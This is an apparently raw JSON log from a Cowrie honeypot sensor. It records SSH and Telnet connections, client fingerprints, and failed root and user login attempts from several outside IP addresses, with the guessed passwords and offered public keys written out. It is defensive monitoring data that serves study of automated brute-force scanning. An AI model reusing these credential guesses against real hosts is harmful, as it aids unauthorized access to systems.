{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:23.660587Z","src_ip":"194.59.206.2","session":"35ecd697ca55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:23.830835Z","src_ip":"194.59.206.2","session":"35ecd697ca55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49968,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c1c897d8a94","protocol":"telnet","message":"New connection: 152.42.224.71:49968 (10.17.0.5:23) [session: 3c1c897d8a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:25.814633Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":46288,"dst_ip":"159.203.135.109","dst_port":22,"session":"e59bd7a1d58c","protocol":"ssh","message":"New connection: 103.75.183.219:46288 (159.203.135.109:22) [session: e59bd7a1d58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:49.649692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:49.654374Z","src_ip":"103.75.183.219","session":"e59bd7a1d58c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:49.903069Z","src_ip":"103.75.183.219","session":"e59bd7a1d58c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqwsxcde","message":"login attempt [root/zaqwsxcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:50.649170Z","src_ip":"103.75.183.219","session":"e59bd7a1d58c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:51.900904Z","src_ip":"103.75.183.219","session":"e59bd7a1d58c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.01048254966736,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:53.231025Z","src_ip":"152.42.224.71","session":"037324370910","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.151182413101196,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:53.965729Z","src_ip":"152.42.224.71","session":"3c1c897d8a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51702,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e9bac6c738","protocol":"telnet","message":"New connection: 152.42.224.71:51702 (10.17.0.5:23) [session: 62e9bac6c738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:22:54.931041Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":33248,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef480b834226","protocol":"ssh","message":"New connection: 2.57.122.238:33248 (10.17.0.5:22) [session: ef480b834226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:10.700522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:10.705364Z","src_ip":"2.57.122.238","session":"ef480b834226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:10.810670Z","src_ip":"2.57.122.238","session":"ef480b834226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:11.126518Z","src_ip":"2.57.122.238","session":"ef480b834226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:12.234942Z","src_ip":"2.57.122.238","session":"ef480b834226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174593925476,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:13.062914Z","src_ip":"152.42.224.71","session":"25950cb60a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.65914988517761,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:33.590044Z","src_ip":"152.42.224.71","session":"62e9bac6c738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45562,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6321c0b9f93","protocol":"telnet","message":"New connection: 152.42.224.71:45562 (10.17.0.5:23) [session: f6321c0b9f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:42.936869Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45572,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7c7649c34e4","protocol":"telnet","message":"New connection: 152.42.224.71:45572 (10.17.0.5:23) [session: d7c7649c34e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:23:44.648844Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36850,"dst_ip":"10.17.0.5","dst_port":23,"session":"e402777c6d64","protocol":"telnet","message":"New connection: 152.42.224.71:36850 (10.17.0.5:23) [session: e402777c6d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:04.078152Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49184,"dst_ip":"10.17.0.5","dst_port":23,"session":"09cbf6d7afc8","protocol":"telnet","message":"New connection: 152.42.224.71:49184 (10.17.0.5:23) [session: 09cbf6d7afc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:13.849647Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":47042,"dst_ip":"159.203.135.109","dst_port":22,"session":"72f2733b577c","protocol":"ssh","message":"New connection: 103.15.222.183:47042 (159.203.135.109:22) [session: 72f2733b577c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:20.583779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:20.588876Z","src_ip":"103.15.222.183","session":"72f2733b577c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:20.833984Z","src_ip":"103.15.222.183","session":"72f2733b577c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"225588","message":"login attempt [root/225588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:21.567853Z","src_ip":"103.15.222.183","session":"72f2733b577c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:22.826796Z","src_ip":"103.15.222.183","session":"72f2733b577c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.658764362335205,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:33.595541Z","src_ip":"152.42.224.71","session":"f6321c0b9f93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55000,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f6842647eb","protocol":"telnet","message":"New connection: 152.42.224.71:55000 (10.17.0.5:23) [session: d0f6842647eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:33.781527Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.101","src_port":24660,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcf94ca7ea1a","protocol":"ssh","message":"New connection: 102.129.200.101:24660 (10.17.0.5:22) [session: fcf94ca7ea1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:38.964447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:38.970021Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.065849Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:78:15:e2:ad:38:61:ae:a6:ea:a2:41:3f:18:b6:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOz0TttCwjXs1D3vSUeNekctioI2mOUzNDtjs9m8YKieOQbRDSMLm2/M19okNMR9Bnbdh8CAbzyOEFkv+OT9T6/aAxgBHj5cAi35/khZL4NjT7cTw8aFXmLev2DgTkC26zVGjybzVNtccdi5W08I1byxnrxX0/1lyyd8LTyX74YTjErM2m/aegciJkny5TfC22H5bU0Q1tOPZimSt1IVo1S+aW1hFnYpU6a0Stmqd3dhStb19647fO3Z1Mnd72jL2H/MzYKU0/449bcmgZte8E3ovCBIO1sVj8fZSXtLqzRlrUaMjNCoOMq50XZbsNKtn3Za+iQjaeAxzhGp7oTqYbrFH0ROD86ttXe7t4oWvxA3ip1F1aUH4FIQmVroAJJ14ASxYfoU2o62zusGBpGhe+Ii1nAeU0kQnZWFWCXBZxTTwEI4xUvXtvHDH11qatKiPqn+5dx2BcLf1VnaNaSOLrbfxbccfY7fIDbO1XV4ts5uFKExkesb0krD9dBR6ajGU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:78:15:e2:ad:38:61:ae:a6:ea:a2:41:3f:18:b6:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.491722Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:78:15:e2:ad:38:61:ae:a6:ea:a2:41:3f:18:b6:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOz0TttCwjXs1D3vSUeNekctioI2mOUzNDtjs9m8YKieOQbRDSMLm2/M19okNMR9Bnbdh8CAbzyOEFkv+OT9T6/aAxgBHj5cAi35/khZL4NjT7cTw8aFXmLev2DgTkC26zVGjybzVNtccdi5W08I1byxnrxX0/1lyyd8LTyX74YTjErM2m/aegciJkny5TfC22H5bU0Q1tOPZimSt1IVo1S+aW1hFnYpU6a0Stmqd3dhStb19647fO3Z1Mnd72jL2H/MzYKU0/449bcmgZte8E3ovCBIO1sVj8fZSXtLqzRlrUaMjNCoOMq50XZbsNKtn3Za+iQjaeAxzhGp7oTqYbrFH0ROD86ttXe7t4oWvxA3ip1F1aUH4FIQmVroAJJ14ASxYfoU2o62zusGBpGhe+Ii1nAeU0kQnZWFWCXBZxTTwEI4xUvXtvHDH11qatKiPqn+5dx2BcLf1VnaNaSOLrbfxbccfY7fIDbO1XV4ts5uFKExkesb0krD9dBR6ajGU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.495711Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:74:af:89:32:80:9d:6a:05:2b:ec:23:f5:ec:eb:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAHAnFiYx7TjrhUBImfG9tjtrHdoiu9WBJVCn5vQxZXoygWh7S0rGa1mF/e4cZ/PGGhShRaK/5h1rY7hvm8bfEAaclSQ73bYw6K2di+ImIvLppz0Hc8ryWS/UvP2SHfe8hF1W57zStUMZn5Nc/ZwVo/hhCGm67CAcQJG5mKsa4zqk4q12ZX+D70XrI1YL439Ga5YfGJQHcVsNBeoIyKDbRg0GVJqRhOxoG9HAQN5PjWb5F6vEJSznD7WMQ7oR4X8b7nrrLuW8NxBOf4P+1a9PeYMMQ+jQ7fHI1MBO8R5Kp6puC1MViaslOZnTlI7aYyiXipbxXPtEidhtEyCyBMPb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:74:af:89:32:80:9d:6a:05:2b:ec:23:f5:ec:eb:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.586234Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:74:af:89:32:80:9d:6a:05:2b:ec:23:f5:ec:eb:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAHAnFiYx7TjrhUBImfG9tjtrHdoiu9WBJVCn5vQxZXoygWh7S0rGa1mF/e4cZ/PGGhShRaK/5h1rY7hvm8bfEAaclSQ73bYw6K2di+ImIvLppz0Hc8ryWS/UvP2SHfe8hF1W57zStUMZn5Nc/ZwVo/hhCGm67CAcQJG5mKsa4zqk4q12ZX+D70XrI1YL439Ga5YfGJQHcVsNBeoIyKDbRg0GVJqRhOxoG9HAQN5PjWb5F6vEJSznD7WMQ7oR4X8b7nrrLuW8NxBOf4P+1a9PeYMMQ+jQ7fHI1MBO8R5Kp6puC1MViaslOZnTlI7aYyiXipbxXPtEidhtEyCyBMPb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.590487Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:45:f3:82:7a:a8:75:9d:c3:e2:e7:ae:19:4d:68:6a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPkZ+j9vbBG2kSl1ZUKre/i/uHyw7DTGdsY9jQvTifhu","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c9:45:f3:82:7a:a8:75:9d:c3:e2:e7:ae:19:4d:68:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.683690Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:45:f3:82:7a:a8:75:9d:c3:e2:e7:ae:19:4d:68:6a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPkZ+j9vbBG2kSl1ZUKre/i/uHyw7DTGdsY9jQvTifhu","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.688196Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:49:ea:36:4a:3a:02:0d:d9:1b:09:ce:a4:17:da:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2fBVLC/a9ZAV0DFeYRHbvwyTUjM8UEw9QmIra6QH5UA1x/Xu8u2sWZyimGCORbJkIgxsYiLHuAOjVfTr+yozWXeEZHGSeXhrOItiGRpuEsy1SUlinSUFeCHxvBo/le/0xzg8nTbA7smqS6+sCU+RbyYZZ3BlJG2VtEC2g320iLhsbddUstHjTcC2iiTo0R9G1ifaqyXkBw91R+eaZNUlrN8cePnpk7+BdpH8AmWy74moTMOlZW+8Gddb6DUa7wK1dTA9j07C+rwHIaKXZCArj396S5lQu8dKhIoRAd3qIYWYicKJOOz8+7flKuvYor4jn8HAOHtspIdXX4OZrZAbnxnRGM/o7/TGl2vJLiw1QNHTNBtYUL9IZ9jvs1iMrwJgOkxLZV6a3NUkNGtkCMtJO/GWqDnSy0/5JhLcrTVjgS1OyGlxLQYl+brBfp//WT60lirAaLa+rWDIaFpPjcEhqxOtpRjc+6ztuOaqbjRs7OX4rBkcaqNNOaCfctrgctqg56fJ64KKCUofYTqFE66bkAzUcMU0nty/d0QR/P8y0OrJFNA6r/K4Wxq+W1GEdKwLByj13qbs3rjMExKJQ4CqXo9WgmCUFFCqOmGXCbZzQc5QWw34lqOIoZ1GWVjad8y2KHGZVBqasfu4NK9Hc2y0Z3THuQIqme+4M5034pUVZSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:49:ea:36:4a:3a:02:0d:d9:1b:09:ce:a4:17:da:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:24:39.779749Z","src_ip":"102.129.200.101","session":"fcf94ca7ea1a","protocol":"ssh"}
